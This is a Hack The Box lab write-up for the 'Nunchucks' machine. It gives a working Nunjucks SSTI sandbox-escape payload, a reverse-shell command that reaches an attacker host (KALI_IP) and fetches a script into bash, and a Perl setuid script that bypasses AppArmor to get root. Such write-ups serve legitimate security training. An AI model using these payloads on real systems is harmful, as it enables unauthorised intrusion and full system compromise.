Nunchucks (HTB – Easy)

The machine hosts a Node.js application vulnerable to Server‑Side Template Injection (SSTI) through the Nunjucks template engine. Exploitation provides remote command execution. Privilege escalation is achieved by abusing a Perl binary with the cap_setuid+ep capability and bypassing AppArmor restrictions.

Overview

Target: nunchucks.htb
Initial vector: Nunjucks SSTI → RCE
Privilege escalation: Perl capabilities + AppArmor bypass

Enumeration

Nmap:

22/tcp  ssh
80/tcp  http → redirects to HTTPS
443/tcp https (nginx)

Add nunchucks.htb to /etc/hosts. Directory fuzzing reveals nothing useful.

Subdomain Discovery

Virtual host fuzzing:

$ gobuster vhost -u https://nunchucks.htb \
  -w subdomains-top1million-5000.txt -k
-> score.nunchucks.htb

Add the subdomain and browse it. Wappalyzer identifies:

Node.js / Nunjucks template engine

SSTI – Nunjucks RCE

Testing the email field with template syntax:

{{4+4}}@test.com
-> 8

This confirms SSTI. Use a known Nunjucks sandbox escape:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

To get a reverse shell, host a payload:

# On attacker
$ echo "bash -i >& /dev/tcp/KALI_IP/443 0>&1" > index.html
$ python3 -m http.server 80

Send via SSTI:

curl KALI_IP/index.html | bash

A shell is obtained as www-data.

TTY Fix

$ script /dev/null -c bash
Ctrl+Z
$ stty raw -echo; fg
$ reset
$ export TERM=xterm
$ export SHELL=bash

Privilege Escalation

Check capabilities:

$ getcap -r / 2>/dev/null
/usr/bin/perl cap_setuid+ep

Perl can set UID to 0, but AppArmor restricts direct execution. Bypass AppArmor by creating a script with a Perl shebang:

$ cat > /tmp/perl_cap_bypass.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
EOF

Make it executable:

$ chmod +x /tmp/perl_cap_bypass.pl
$ /tmp/perl_cap_bypass.pl

Root shell obtained.

Conclusion

Nunchucks relies on a classic Nunjucks SSTI vulnerability to gain initial RCE. Privilege escalation is achieved by abusing a Perl binary with cap_setuid+ep and bypassing AppArmor restrictions using a custom Perl script. This results in full system compromise.